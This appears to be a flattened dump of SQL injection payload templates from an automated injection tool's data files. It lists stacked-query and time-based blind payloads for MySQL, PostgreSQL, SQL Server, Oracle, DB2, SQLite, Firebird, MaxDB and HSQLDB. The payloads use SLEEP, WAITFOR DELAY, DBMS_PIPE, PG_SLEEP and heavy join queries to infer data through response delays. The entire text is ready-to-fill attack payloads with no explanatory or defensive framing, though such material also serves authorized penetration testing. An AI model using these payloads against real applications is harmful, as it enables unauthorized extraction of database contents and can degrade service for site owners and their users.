Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE) 4 4 1 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END FROM DUAL ;SELECT DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) FROM DUAL
Oracle
Oracle stacked queries (heavy query - comment) 4 2 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5 --
Oracle
Oracle stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END FROM DUAL ;SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP - comment) 4 4 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (DBMS_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END ;BEGIN DBMS_LOCK.SLEEP([SLEEPTIME]); END
Oracle
Oracle stacked queries (USER_LOCK.SLEEP - comment) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END --
Oracle
Oracle stacked queries (USER_LOCK.SLEEP) 4 5 1 1-8 1 ;BEGIN IF ([INFERENCE]) THEN USER_LOCK.SLEEP([SLEEPTIME]); ELSE USER_LOCK.SLEEP(0); END IF; END ;BEGIN USER_LOCK.SLEEP([SLEEPTIME]); END
Oracle
IBM DB2 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 --
IBM DB2
IBM DB2 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]) ;SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3
IBM DB2
SQLite > 2.0 stacked queries (heavy query - comment) 4 3 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
SQLite > 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) ;SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
Firebird stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4 --
Firebird >= 2.0
Firebird stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) FROM RDB$DATABASE ;SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4
Firebird >= 2.0
SAP MaxDB stacked queries (heavy query - comment) 4 4 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3 --
SAP MaxDB
SAP MaxDB stacked queries (heavy query) 4 5 2 1-8 1 ;SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3 ;SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3
SAP MaxDB
HSQLDB >= 1.7.2 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 1.7.2
HSQLDB >= 1.7.2 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 1.7.2
HSQLDB >= 2.0 stacked queries (heavy query - comment) 4 4 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) --
HSQLDB >= 2.0
HSQLDB >= 2.0 stacked queries (heavy query) 4 5 2 1-8 1 ;CALL CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) END ;CALL REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL)
HSQLDB >= 2.0
================================================ FILE: data/xml/payloads/time_blind.xml ================================================ MySQL >= 5.0.12 AND time-based blind (query SLEEP) 5 1 1 1,2,3,8,9 1 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (query SLEEP) 5 1 3 1,2,3,9 1 OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (SLEEP) 5 2 1 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (SLEEP) 5 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) 5 3 1 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) 5 3 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 AND time-based blind (query SLEEP - comment) 5 3 1 1,2,3,9 1 AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 OR time-based blind (query SLEEP - comment) 5 3 3 1,2,3,9 1 OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL < 5.0.12 AND time-based blind (BENCHMARK) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL < 5.0.12
MySQL > 5.0.12 AND time-based blind (heavy query) 5 3 2 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL < 5.0.12 OR time-based blind (BENCHMARK) 5 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))
MySQL < 5.0.12
MySQL > 5.0.12 OR time-based blind (heavy query) 5 3 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)
MySQL > 5.0.12
MySQL < 5.0.12 AND time-based blind (BENCHMARK - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL < 5.0.12
MySQL > 5.0.12 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) #
MySQL > 5.0.12
MySQL < 5.0.12 OR time-based blind (BENCHMARK - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM]) OR [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')) #
MySQL < 5.0.12
MySQL > 5.0.12 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) #
MySQL > 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind 5 2 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) RLIKE SLEEP([SLEEPTIME])
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (comment) 5 4 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])) RLIKE SLEEP([SLEEPTIME]) #
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP) 5 3 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
MySQL >= 5.0.12
MySQL >= 5.0.12 RLIKE time-based blind (query SLEEP - comment) 5 4 1 1,2,3,9 1 RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) #
MySQL >= 5.0.12
MySQL AND time-based blind (ELT) 5 3 1 1,2,3,8,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL >= 5.0.12
MySQL OR time-based blind (ELT) 5 3 3 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
MySQL
MySQL AND time-based blind (ELT - comment) 5 5 1 1,2,3,9 1 AND ELT([INFERENCE],SLEEP([SLEEPTIME])) AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) #
MySQL
MySQL OR time-based blind (ELT - comment) 5 5 3 1,2,3,9 1 OR ELT([INFERENCE],SLEEP([SLEEPTIME])) OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME])) #
MySQL
PostgreSQL > 8.1 AND time-based blind 5 1 1 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL > 8.1 OR time-based blind 5 1 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
PostgreSQL > 8.1
PostgreSQL > 8.1 AND time-based blind (comment) 5 4 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) --
PostgreSQL > 8.1
PostgreSQL > 8.1 OR time-based blind (comment) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) --
PostgreSQL > 8.1
PostgreSQL AND time-based blind (heavy query) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
PostgreSQL OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
PostgreSQL
PostgreSQL AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) --
PostgreSQL
PostgreSQL OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) --
PostgreSQL
Microsoft SQL Server/Sybase time-based blind (IF) 5 1 1 0 1 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' WAITFOR DELAY '0:0:[SLEEPTIME]'
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase time-based blind (IF - comment) 5 4 1 0 1 IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]' WAITFOR DELAY '0:0:[SLEEPTIME]' --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND time-based blind (heavy query) 5 2 2 1,2,3,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --
Microsoft SQL Server Sybase
Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) --
Microsoft SQL Server Sybase
Oracle AND time-based blind 5 1 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
Oracle
Oracle OR time-based blind 5 1 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
Oracle
Oracle AND time-based blind (comment) 5 4 1 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) --
Oracle
Oracle OR time-based blind (comment) 5 4 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) OR [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) --
Oracle
Oracle AND time-based blind (heavy query) 5 2 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
Oracle
Oracle OR time-based blind (heavy query) 5 2 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5)
Oracle
Oracle AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) AND [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) --
Oracle
Oracle OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) OR [RANDNUM]=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) --
Oracle
IBM DB2 AND time-based blind (heavy query) 5 3 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
IBM DB2 OR time-based blind (heavy query) 5 3 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
IBM DB2
IBM DB2 AND time-based blind (heavy query - comment) 5 5 2 1,2,3,9 1 AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) --
IBM DB2
IBM DB2 OR time-based blind (heavy query - comment) 5 5 3 1,2,3,9 1 OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) --
IBM DB2
SQLite > 2.0 AND time-based blind (heavy query) 5 3 2 1,8,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
SQLite > 2.0 OR time-based blind (heavy query) 5 3 3 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
SQLite > 2.0
SQLite > 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,9 1 AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
SQLite > 2.0 OR time-based blind (heavy query - comment) 5 5 3 1,9 1 OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) --
SQLite > 2.0
Firebird >= 2.0 AND time-based blind (heavy query) 5 4 2 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
Firebird >= 2.0 OR time-based blind (heavy query) 5 4 3 1,9 1 OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4)
Firebird >= 2.0
Firebird >= 2.0 AND time-based blind (heavy query - comment) 5 5 2 1,9 1 AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) --
Firebird >= 2.0
